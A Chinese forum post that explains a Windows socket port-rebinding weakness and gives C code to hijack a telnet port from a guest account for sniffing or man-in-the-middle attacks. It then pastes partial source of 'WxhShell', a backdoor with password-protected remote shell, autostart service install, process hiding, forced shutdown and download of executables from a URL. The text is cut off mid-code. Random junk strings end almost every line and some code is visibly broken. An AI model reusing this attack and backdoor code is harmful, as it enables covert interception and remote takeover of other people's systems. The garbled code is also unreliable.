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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Dj"F\j 1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .]8ZwAs=&  
d[iQ` YW5  
  saddr.sin_family = AF_INET; bV^rsJm  
x]}^v#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S|Q@:r"  
P_F30 x(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lU8l}Ndz"  
(p"%O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4>wP7`/+y  
OIGY`   
  这意味着什么?意味着可以进行如下的攻击: Zu*F#s!tUI  
j`{?OYD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8SMxw~9$  
{5Q!Y&N.%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) owVX*&b{  
8?xE6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ( >LF(ll  
ju8> :y8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1KU! tL  
)v'WWwXY>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l0|5t)jF-  
LP.]9ut  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .yoH/2h  
k$n|*kCh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /J]5H  
jk;j2YNPw  
  #include 1.}d.t  
  #include A @i  
  #include z<MsKD0Q  
  #include    [*Z;\5&P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =}~hWL  
  int main() +Q/R{#O  
  { =O~_Q-  
  WORD wVersionRequested; 4S7v:1~xe  
  DWORD ret; J"0`%'*/  
  WSADATA wsaData; GV1pn) 4  
  BOOL val; .#EFLXs  
  SOCKADDR_IN saddr;  0HZ{Y9]  
  SOCKADDR_IN scaddr; 8'[~2/  
  int err; (^ J I%>  
  SOCKET s; b!+hH Hv:  
  SOCKET sc; -M\<nx  
  int caddsize; =7?4eYHC  
  HANDLE mt; l5~os>  
  DWORD tid;   d9k0F OR1  
  wVersionRequested = MAKEWORD( 2, 2 ); ]a>n:p]e  
  err = WSAStartup( wVersionRequested, &wsaData ); kXViWOXU^  
  if ( err != 0 ) { EfqX y>W  
  printf("error!WSAStartup failed!\n"); N"Z{5A  
  return -1; &eJfGt5  
  } pJ>P[  
  saddr.sin_family = AF_INET; &j;wCvE4+  
   ez7A4>/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R8K&R\  
aEB_#1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <;lkUU(WT2  
  saddr.sin_port = htons(23); b]e"1Y)D-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &1Ok`_plO  
  { L7l FtX+b  
  printf("error!socket failed!\n"); ]>!K3kB  
  return -1; Z*F3G#A  
  } 11NQR[  
  val = TRUE; 9p]QM)M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HVRZ[Y<^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s9 mx  
  { p#-Z4-`  
  printf("error!setsockopt failed!\n"); jV i) Efy  
  return -1; [z:!j$K  
  } &0d# Y]D4`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x5pdS:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _T60;ZI+^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'B |JAi?  
6%'QjwM_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MxKS4k  
  { yWmJ~/*lG  
  ret=GetLastError(); cTifC1Pf  
  printf("error!bind failed!\n"); "69s) ~  
  return -1; =F|{# F  
  } Q3'llOx  
  listen(s,2); +w`2kv  
  while(1) jRa43ck  
  { ~g91Pr   
  caddsize = sizeof(scaddr); |]bsCmD  
  //接受连接请求 /PVk{3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i$Ul(?  
  if(sc!=INVALID_SOCKET) @F AA2 d  
  { N%@Qf~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -OV&Md:~  
  if(mt==NULL) gb1V~  
  { ijv(9mR  
  printf("Thread Creat Failed!\n"); }J}-//[A  
  break; %UrueMEO  
  } g _9C*  
  } `bq<$e  
  CloseHandle(mt); }RF(CwZr(  
  } phXGn m  
  closesocket(s); 70?\ugxA  
  WSACleanup(); -_g0C^:<,  
  return 0; : $1?i)  
  }   8S TvCH"Z_  
  DWORD WINAPI ClientThread(LPVOID lpParam) "x0^#AVg  
  { sI=xl  
  SOCKET ss = (SOCKET)lpParam; AYBns]!  
  SOCKET sc; @mCEHI{P  
  unsigned char buf[4096]; !)f\%lb  
  SOCKADDR_IN saddr; .^`{1%  
  long num; yX>K/68  
  DWORD val; , >a&"V^k  
  DWORD ret; fgTg7 m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^e,.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LBeF&sb6  
  saddr.sin_family = AF_INET; Pm6p v;WK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K-)] 1BG  
  saddr.sin_port = htons(23); M)Z7k/=<P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;fTKfa  
  { HQdxL*N%^  
  printf("error!socket failed!\n"); !/b>sN}  
  return -1; dlh)gp;  
  } ,_ H:J.ik  
  val = 100; [\e eDa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z?q] bSIT  
  { XX TL..  
  ret = GetLastError(); K!%+0)A  
  return -1; #lo6c;*m5  
  } KfEx"94  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wtd/=gmiI  
  { 1ba~SHi  
  ret = GetLastError(); 5DU6rks%  
  return -1; =j_4S<  
  } %A/0 '  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1t~G|zhX  
  { n+9=1Oo"  
  printf("error!socket connect failed!\n"); *8A  
  closesocket(sc); C[AqFo  
  closesocket(ss); /U*C\ xMm  
  return -1; J1U/.`Oy  
  } q[_Vu A]&  
  while(1) W+c<2?d:  
  { x j)F55e?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HyQJXw?A:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (S5R!lpO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u@) U"FZ  
  num = recv(ss,buf,4096,0); t>RY7C;PuS  
  if(num>0) C==hox7b  
  send(sc,buf,num,0); iq8<ov  
  else if(num==0) ;4\ 2.* s  
  break; ub0.J#j@  
  num = recv(sc,buf,4096,0); ?zMHP#i  
  if(num>0) <$$yw=ef  
  send(ss,buf,num,0);  %\#8{g  
  else if(num==0) _.Nbt(mz  
  break; 05#1w#i  
  } PdFKs+Z`  
  closesocket(ss); F,F4nw<W  
  closesocket(sc); k"%~"9  
  return 0 ; K7B/s9/xs  
  } |Zpfq63W  
NA`SyKtg_  
Q8tL[>Xt  
========================================================== UgSB>V<?  
O6 3<AY@  
下边附上一个代码,,WXhSHELL 2wg5#i  
558V_y:  
========================================================== 8'[7 )I=  
~W'{p  
#include "stdafx.h" 9L?.m&  
8 >EWKI9  
#include <stdio.h> d"mkL-  
#include <string.h> =o(5_S.u;  
#include <windows.h> `AtBtjs RV  
#include <winsock2.h> IMFDM."s  
#include <winsvc.h> i>A s;*  
#include <urlmon.h> I*{ nP)^9  
T*Exs|N2P-  
#pragma comment (lib, "Ws2_32.lib") *%NT~C q  
#pragma comment (lib, "urlmon.lib") /t57!&  
R?|.pq/Ln  
#define MAX_USER   100 // 最大客户端连接数 /SR*W5#s  
#define BUF_SOCK   200 // sock buffer _Ey9G  
#define KEY_BUFF   255 // 输入 buffer [({nj`  
%N6A+5H  
#define REBOOT     0   // 重启 2#]#sZmk  
#define SHUTDOWN   1   // 关机 ^7cGq+t  
\ZFGw&yN  
#define DEF_PORT   5000 // 监听端口 kx{{_w  
<z&/L/bl"  
#define REG_LEN     16   // 注册表键长度 @V sG'  
#define SVC_LEN     80   // NT服务名长度 H5B:;g@  
qJs<#MQ2  
// 从dll定义API ZY55|eE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P6`u._mX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iN\4gQ!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N,AQsloL7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NO>w+-dGS  
rQs)O<jl  
// wxhshell配置信息 8 +/rlHp  
struct WSCFG { [A~xy'T  
  int ws_port;         // 监听端口 L.2^`mZs  
  char ws_passstr[REG_LEN]; // 口令 ZohCP  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ QI\  
  char ws_regname[REG_LEN]; // 注册表键名 z+wA rPxc  
  char ws_svcname[REG_LEN]; // 服务名 Tbih+# ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CS5?Ti6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'RR~7h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (,Q7@s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;-lXU0}&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z&)A,ryW0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qp }Cqi  
%QGC8Tz  
}; w~A{(- dx  
gQg"j)  
// default Wxhshell configuration py!|\00}  
struct WSCFG wscfg={DEF_PORT, ~s*)f.l  
    "xuhuanlingzhe", X6X $Pve  
    1, )gIKH{JYL  
    "Wxhshell", ^WgX Qtn  
    "Wxhshell", +b<FO+E_  
            "WxhShell Service", $E~`\o%Ev  
    "Wrsky Windows CmdShell Service", _\G"9,)u '  
    "Please Input Your Password: ", 7M!I8C0!aO  
  1, HxV=F66"  
  "http://www.wrsky.com/wxhshell.exe", HY*Kb+[  
  "Wxhshell.exe" Y@vTaE^w3  
    }; QzVnL U)  
 a=9:[  
// 消息定义模块 @7]yl&LZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oy=js -  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w^|*m/h|@u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !4RWYMV "  
char *msg_ws_ext="\n\rExit."; Gbr=+AT  
char *msg_ws_end="\n\rQuit."; ,t?B+$E  
char *msg_ws_boot="\n\rReboot..."; k8[n+^  
char *msg_ws_poff="\n\rShutdown..."; mbxZL<ua  
char *msg_ws_down="\n\rSave to "; 4N_R:B-V u  
[)M%cyQ  
char *msg_ws_err="\n\rErr!"; +H-6eP  
char *msg_ws_ok="\n\rOK!"; 9G#n 0&wRJ  
 I<mV+ex  
char ExeFile[MAX_PATH];  :D6 ON"6  
int nUser = 0; m)t;9J5  
HANDLE handles[MAX_USER]; 2j88<Yh]H  
int OsIsNt; rk2j#>l$4  
2g-j.TM  
SERVICE_STATUS       serviceStatus; z6=Z\P+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Oi'5ytsES  
_[c0)2h  
// 函数声明 8,4"uuI  
int Install(void); { ]{/t-=  
int Uninstall(void); /<=u\e'rE  
int DownloadFile(char *sURL, SOCKET wsh); QL&ZjSN  
int Boot(int flag); ]Ji.Zk  
void HideProc(void); v5#j Z$<F  
int GetOsVer(void); uM IIYS  
int Wxhshell(SOCKET wsl); ThajHK|U  
void TalkWithClient(void *cs); wr/"yQA]  
int CmdShell(SOCKET sock); qZtzO2Mt  
int StartFromService(void); EzM ?Nft  
int StartWxhshell(LPSTR lpCmdLine); v!6  c0a  
P6-s0]-g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DS(}<HK{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l'-Bu(  
s4y73-J^.v  
// 数据结构和表定义 5h=}j  
SERVICE_TABLE_ENTRY DispatchTable[] = %~H-)_d20  
{ ?}tFN_X"  
{wscfg.ws_svcname, NTServiceMain}, a`E#F] Z  
{NULL, NULL} qs6]-  
}; p Z|V 3  
x_N'TjS^{  
// 自我安装 I by\$~V  
int Install(void) &tLgG4pd  
{ #uG%j  
  char svExeFile[MAX_PATH]; 6$Xzpg(o  
  HKEY key; mI-]/:  
  strcpy(svExeFile,ExeFile); { M4gF8(M  
UT~4x|b:O  
// 如果是win9x系统,修改注册表设为自启动 [I,Z2G,Jb  
if(!OsIsNt) { OUPUixz2Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~S"+S/z/k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ifMRryN4  
  RegCloseKey(key); wo;~7K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Jyy z,!5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); en4k/w_  
  RegCloseKey(key); a od-3"7[  
  return 0; |}s*E_/[  
    } zII|9y  
  } )hn6sXo+  
} u^ +7hkk  
else { VGy<")8D/  
}_M~2L?i  
// 如果是NT以上系统,安装为系统服务 ~?Qe?hB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9iIhte.  
if (schSCManager!=0) YW,tCtI0_  
{ Cx@);4arj  
  SC_HANDLE schService = CreateService UJAv`yjG  
  ( 1y@i}<9F  
  schSCManager, ]b:Lo  
  wscfg.ws_svcname, 17%,7P9pg  
  wscfg.ws_svcdisp, /$xU  
  SERVICE_ALL_ACCESS, VX0 %a@ur  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8`B3;Zmm  
  SERVICE_AUTO_START, sQHv%]s 0  
  SERVICE_ERROR_NORMAL, p SH=%u>  
  svExeFile, Eak$u>Fd8c  
  NULL, hB]Np1('  
  NULL,  L2[($l  
  NULL, hc(#{]].  
  NULL, V5nwu#  
  NULL ky,(xT4  
  ); hP%M?MKC  
  if (schService!=0) y{B=-\O]  
  { e\`&p  
  CloseServiceHandle(schService); T9E+\D  
  CloseServiceHandle(schSCManager); Tj` ,Z5vy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "yy5F>0Wt  
  strcat(svExeFile,wscfg.ws_svcname); >-RQ]?^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~OYiq}g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x*\Y)9Vgy  
  RegCloseKey(key); 'A=^Se`=  
  return 0; t:x\kp  
    } b;B%q$sntC  
  } wtLO!=B  
  CloseServiceHandle(schSCManager); 9IdA%RM~mH  
} \$~|ZwV{  
} \g&,@'uh  
!7O+ogL  
return 1; HTv2#  
} vFzRg5lH  
^qvZXb  
// 自我卸载 !I{0 _b{  
int Uninstall(void) @|Cz-J;D  
{ hn7# L  
  HKEY key; #'nr Er <  
P+ 3G~Sr  
if(!OsIsNt) { xf\C|@i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J\} twYty  
  RegDeleteValue(key,wscfg.ws_regname); I;,77PxD  
  RegCloseKey(key); hlvK5Z   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jc&{`s^Nu  
  RegDeleteValue(key,wscfg.ws_regname); x$A+lj]x  
  RegCloseKey(key); xA2YG|RU=b  
  return 0; EqkN3%IG  
  } c)6m$5]  
} fZGX}T<)p-  
} .O5Z8 p  
else { kUL' 1!j7  
;>U2|>5V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D# 9m\o_  
if (schSCManager!=0) 3V+] 9;  
{ L~(j3D* 3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !]A  
  if (schService!=0) 0I-9nuw,^;  
  { ('4_ xOb  
  if(DeleteService(schService)!=0) { g>E LGG |Q  
  CloseServiceHandle(schService); TM__I\+Q  
  CloseServiceHandle(schSCManager); n$A9_cHF7  
  return 0; imhwY#D  
  } <6%?OJhp  
  CloseServiceHandle(schService); 58}U^IW  
  } 6IN e@  
  CloseServiceHandle(schSCManager); U#7#aeI  
} p}}R-D&K  
} x xHY+(m  
S1T"Z{$  
return 1; <VMGTBVQ  
} _b pP50Cu  
XAD- 'i  
// 从指定url下载文件 wyH[x!QX  
int DownloadFile(char *sURL, SOCKET wsh) 9R!atPz9  
{ H `XUJh  
  HRESULT hr; 7y'RFD9@{  
char seps[]= "/"; NR$3%0 nC6  
char *token; W 8<&gh+  
char *file; Co9^OF-k  
char myURL[MAX_PATH]; ;>%r9pz ~  
char myFILE[MAX_PATH]; ]#i igPZ7  
@o].He@L<j  
strcpy(myURL,sURL); B-RjMxX4>  
  token=strtok(myURL,seps); ].avItg  
  while(token!=NULL) r8t}TU>C  
  { j7Yu>cr  
    file=token; @Myo'{3vF  
  token=strtok(NULL,seps); Q^P}\wb>  
  } nUaJzPl  
'&P%C" 5  
GetCurrentDirectory(MAX_PATH,myFILE); Y1 w9y  
strcat(myFILE, "\\"); j.[.1G*("  
strcat(myFILE, file); zF`0J  
  send(wsh,myFILE,strlen(myFILE),0); LRxZcxmy  
send(wsh,"...",3,0); ~Py`P'+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F@D`N0Pte  
  if(hr==S_OK) `{@8Vsmy:  
return 0; ''cInTCr  
else d"1]4.c  
return 1; ql Ax  
J/`<!$<c  
} Y sC>i`n9  
,C\i^>=  
// 系统电源模块 Gq)]s'r2  
int Boot(int flag) DaQ?\uq  
{ u=*FI  
  HANDLE hToken; c1(RuP:S  
  TOKEN_PRIVILEGES tkp; .|KyNBn  
1/B>XkCJ  
  if(OsIsNt) { U7,e/?a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tn\yI!a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -vo})lO  
    tkp.PrivilegeCount = 1; PudS2k_Qv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fC d&D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @Rze| T.  
if(flag==REBOOT) { ;J( 8 L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V;VHv=9`o  
  return 0; e-/&$Qq  
} ](]i 'fE>  
else { [-1^-bb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BGZ#wru  
  return 0; $?iLLA~  
} gT{Q#C2Baw  
  } x M/+L:_<  
  else { <18(  
if(flag==REBOOT) { #b}Z`u?@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _IHV7*u{;  
  return 0; :1Xz4wkWS*  
} >0y'Rgfe  
else { ;3coP{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _#E0g'3  
  return 0; :wyno#8`-  
} Vi$~-6n&  
} \##zR_%  
BN5[,J  
return 1; %bn jgy  
} yf.~XUk^  
 M mj;-u  
// win9x进程隐藏模块 |*eZD-f  
void HideProc(void) S"QWB`W2  
{ Pl06:g2I  
5X$jl;6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1p3z1_wrs  
  if ( hKernel != NULL ) V*;(kEqj  
  { |-67 \p]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <]t%8GB2V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :as$4|  
    FreeLibrary(hKernel); yx8z4*]kH  
  } B2vh-%63  
Z9ZPr?C=  
return; \~mT] '5  
} l~q\3UKlt  
Y=?3 js?O  
// 获取操作系统版本 ;u ({\K  
int GetOsVer(void) ,.8KN<A2]'  
{ vzAaxk%  
  OSVERSIONINFO winfo; qH>d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oUlY?x1  
  GetVersionEx(&winfo); @ CL{D:d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y;M|D'y+  
  return 1; SYJD?&C;  
  else ?pmHFlx  
  return 0; a$OE0zn`  
} 3,3N^nSD  
e2TiBTbQaF  
// 客户端句柄模块 9d659i C  
int Wxhshell(SOCKET wsl) ^98~U\ar  
{ !sP {gi#=  
  SOCKET wsh; wH&!W~M  
  struct sockaddr_in client; *I.f1lz%*  
  DWORD myID; ORw,)l  
`cUl7 'j  
  while(nUser<MAX_USER) AM\'RHL  
{ cd_yzpL@}J  
  int nSize=sizeof(client); :J@ gmY:C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V!A~K   
  if(wsh==INVALID_SOCKET) return 1; `5.'_3  
Qx#"q'2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B hGu!Y6f  
if(handles[nUser]==0) OX!tsARC@  
  closesocket(wsh); n5NsmVW\x  
else hd<c&7|G'  
  nUser++; - %h.t+=U  
  } lT?v^\(H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;bib/  
8qTys8  
  return 0; dn+KH+v  
} s};{ZAtE  
ASySiHz  
// 关闭 socket *Kg ks4  
void CloseIt(SOCKET wsh) "?xHlYj@+  
{ }2.`N%[  
closesocket(wsh); ]neex|3lG  
nUser--; Qn.om=KDs@  
ExitThread(0); PiIpnoM  
} 2r?G6D|  
K7:)nv E  
// 客户端请求句柄 -;m0R  
void TalkWithClient(void *cs) q,|j]+9q  
{ l<LI7Z]A  
6SkaH<-&K  
  SOCKET wsh=(SOCKET)cs; BM .~ 5\  
  char pwd[SVC_LEN]; JIOR4'9  
  char cmd[KEY_BUFF]; $ @`V  
char chr[1]; .j0$J\:i  
int i,j; ChPmX+.i_  
Be2DN5)  
  while (nUser < MAX_USER) { .}TZxla0Zr  
)'#A$ Fj  
if(wscfg.ws_passstr) { WlC:l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f+,qNvBY/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?mxMk6w  
  //ZeroMemory(pwd,KEY_BUFF); '8H4shYg  
      i=0; X51:  
  while(i<SVC_LEN) { Fj3a.'  
/]Md~=yNp  
  // 设置超时 7*A],:-q  
  fd_set FdRead; >W+%8e  
  struct timeval TimeOut; !ons]^km  
  FD_ZERO(&FdRead); MaQqs=  
  FD_SET(wsh,&FdRead); 9vc2VB$  
  TimeOut.tv_sec=8; }@q`%uzi  
  TimeOut.tv_usec=0; FbFPJ !fb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 37.S\ gO]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K;H&n1  
YfKdR"i+.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8^+%I/S$  
  pwd=chr[0]; qWPkT$ u  
  if(chr[0]==0xd || chr[0]==0xa) { rcG"o\g@+  
  pwd=0; ,m|h<faZL  
  break; u^I|T.w<r6  
  } j-}O0~Jz  
  i++; <^jQo<kU  
    } '4Bm;&6M  
EUX\^c]n  
  // 如果是非法用户,关闭 socket O;jrCB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (vJNHY M  
} /%1ON9o>  
@:vwb\azVD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `kXs;T6&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y/7\?qfTk  
xdt- ;w|  
while(1) { %XQ(fj>  
-zeG1gr3  
  ZeroMemory(cmd,KEY_BUFF); Jk n>S#SZ  
G<J?"oQbRT  
      // 自动支持客户端 telnet标准   =>v#4zFd  
  j=0; !F'YDjTot  
  while(j<KEY_BUFF) { wc4{)qDE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); By4<2u38u  
  cmd[j]=chr[0]; '-XXo=>0MV  
  if(chr[0]==0xa || chr[0]==0xd) { s*]}QmRpr  
  cmd[j]=0; KRRdXx\~  
  break; qqY"*uJ'  
  }  ItrDJ'  
  j++; nMUw_7Y6  
    } Fk7')?  
3bH'H*2  
  // 下载文件 aeM+ d`f  
  if(strstr(cmd,"http://")) { :tg)p+KB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?GR"FmB(  
  if(DownloadFile(cmd,wsh)) x g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vXZOy%$o  
  else '_FsvHQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f46t9dxp$  
  } PKiy5D*8p  
  else { =-n}[Y}A  
U!\.]jfS  
    switch(cmd[0]) { <`r>h  
  \Uq(Zga4)  
  // 帮助 cR<fJ[*  
  case '?': { lX4 x*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "@0]G<H  
    break; +iRh  
  } f 6>b|k~  
  // 安装 JL{VD /f  
  case 'i': { Lk}J8 V^2  
    if(Install()) 7~.9=I'A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V {ddr:]4  
    else u\;C;I-? '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YUy0!`!`  
    break; 8'io$ 6d=  
    } +VOK%8,p  
  // 卸载 BUXpC xQ  
  case 'r': { KB(8f*  
    if(Uninstall()) M%P:n/j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )1`0PJoHE  
    else j'"J%e]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .p" xVfi6  
    break; $DaNbLV  
    } r52gn(,  
  // 显示 wxhshell 所在路径 6mxfLlZ  
  case 'p': { 00~mOK;1  
    char svExeFile[MAX_PATH]; ~V1E0qdAE  
    strcpy(svExeFile,"\n\r"); I:1C8*/  
      strcat(svExeFile,ExeFile); ` 7V]y -  
        send(wsh,svExeFile,strlen(svExeFile),0); 56kI 5:  
    break; kJT)r6  
    } =MDys b&:  
  // 重启 ],Do6 @M-  
  case 'b': { ope^~+c~\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~dTrf>R8M  
    if(Boot(REBOOT)) G3Aes TT|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v;D~Pa  
    else { Y O}<Ytx  
    closesocket(wsh); M&9+6e'-F  
    ExitThread(0); LBDjIpR6  
    } HvJs1)Wo&  
    break; _ *Pf  
    } +Q"4Migbe@  
  // 关机 VQOezQs\  
  case 'd': { >@ .  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &Hs!:43E-<  
